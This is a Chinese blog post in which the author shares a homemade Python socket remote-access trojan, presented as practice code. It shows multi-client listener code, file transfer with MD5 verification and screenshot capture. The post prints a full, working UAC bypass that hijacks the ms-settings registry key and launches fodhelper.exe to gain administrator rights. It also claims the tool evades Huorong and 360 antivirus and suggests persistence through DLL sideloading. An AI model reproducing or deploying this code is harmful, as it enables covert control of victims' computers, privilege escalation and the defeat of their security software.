关于自写pysocket远控的一些思路 最近自己写了个远控,分享一下。
只是自己练下手,了解下原理,并不建议在实战中使用。
这个远控我只写了几个功能,一对多控制,命令执行,文件上传和下载,屏幕截图,bypassuac。
一对多的实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import sockets = [] print ("开始监听..." )server = socket.socket() server.bind(("127.0.0.1" , 1234 )) server.listen(1 ) sock, info = server.accept() print (sock)server.close() s.append(sock) print ("开始监听..." )server = socket.socket() server.bind(("127.0.0.1" , 1234 )) server.listen(1 ) sock, info = server.accept() print (sock)server.close() s.append(sock) print (s)
每次和被控机建立了socket连接之后,会返回一个通道,持久化连接,的cnn。通过控制这个通道来进行一对多的实现,也就是代码中的sock。
文件传输 粘包问题的解决 文件传输的时候如果连续发送数据包有时候会遇到粘包的问题,我通过校检文件传输前后md5值是否一致来判断文件是否正确传输。
传输文件前先将文件md5值传输给文件接收端,再文件传输完毕之后,接收端校检md5是否一致。
发送方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 md5_1 = hashlib.md5() with open (filename,"rb" ) as f: for line in f: md5_1.update(line) file_info["md5value" ]=md5_1.hexdigest() print (md5_1.hexdigest())file_info_json=json.dumps(file_info).encode("utf8" ) ret=struct.pack("i" ,len (file_info_json)) sock.send(ret) sock.send(file_info_json)
接收方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 file_info_length_pack=sock.recv(4 ) file_info_length=struct.unpack("i" ,file_info_length_pack)[0 ] file_info_json=sock.recv(file_info_length).decode("utf8" ) file_info=json.loads(file_info_json) md5=hashlib.md5() with open (filename,"wb" ) as f: recv_data_length=0 while recv_data_length<filesize: data=sock.recv(1024 ) recv_data_length+=len (data) f.write(data) md5.update(data) msg="文件总大小:{},已成功接收{} 进度:{:.3f}%" .format (filesize,recv_data_length,recv_data_length/filesize*100 ) print (msg) print ("接收完成!" )
延迟导致接收端还未开启就开始发送文件 由于文件传输的时候,需要文件接收方先开启文件接收服务,而在实际远控中,是有一定延迟的,如果接收方还没开始接收服务,发送方就发送了,那么就会产生报错。
以下问题我通过如下来实现
屏幕截图 屏幕截图我是通过winapi截图之后保存到被控端,随后被控端将屏幕截图传过来之后,将被控端本地的文件删除
bypassuac 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from __future__ import print_functionimport osimport sysimport ctypesif sys.version_info[0 ] == 3 : import winreg as winreg else : import _winreg as winreg CMD = r"C:\Windows\System32\cmd.exe" FOD_HELPER = r'C:\Windows\System32\fodhelper.exe' PYTHON_CMD = "python" REG_PATH = 'Software\Classes\ms-settings\shell\open\command' DELEGATE_EXEC_REG_KEY = 'DelegateExecute' def is_admin (): try : return ctypes.windll.shell32.IsUserAnAdmin() except : return False def create_reg_key (key, value ): try : winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0 , winreg.KEY_WRITE) winreg.SetValueEx(registry_key, key, 0 , winreg.REG_SZ, value) winreg.CloseKey(registry_key) except WindowsError: raise def bypass_uac (cmd ): try : create_reg_key(DELEGATE_EXEC_REG_KEY, '' ) create_reg_key(None , cmd) except WindowsError: raise def execute (): if not is_admin(): print ('不是管理员权限' ) print ('[+] Trying to bypass the UAC' ) try : current_dir = __file__ cmd = '{} /k {} {}' .format (CMD, PYTHON_CMD, current_dir) bypass_uac(cmd) os.system(FOD_HELPER) sys.exit(0 ) except WindowsError: sys.exit(1 ) else : print ('本来就是管理员权限' ) if __name__ == '__main__' : execute()
其代码主要就是首先检测当前会话是否是管理员权限,如果是的话就不执行任何操作,如果不是管理员权限就执行bypassuac的操作。
而bypassuac则是通过在注册表中计算机\HKEY_CURRENT_USER\Software\Classes
下的ms-settings中添加了如下两个项
持久化可以用白加黑等手段。
免杀 过火绒,360,bypassuac过不了主防的注册表检测但是不开主防可以过,可以执行一些基本操作,但是要是直接net加用户等操作的话肯定是会告警的,需要配合其他工具。
缺点 太大了太大了太大了太大了太大了太大了,py就不适合写这种东西,不会敏感操作的动态免杀。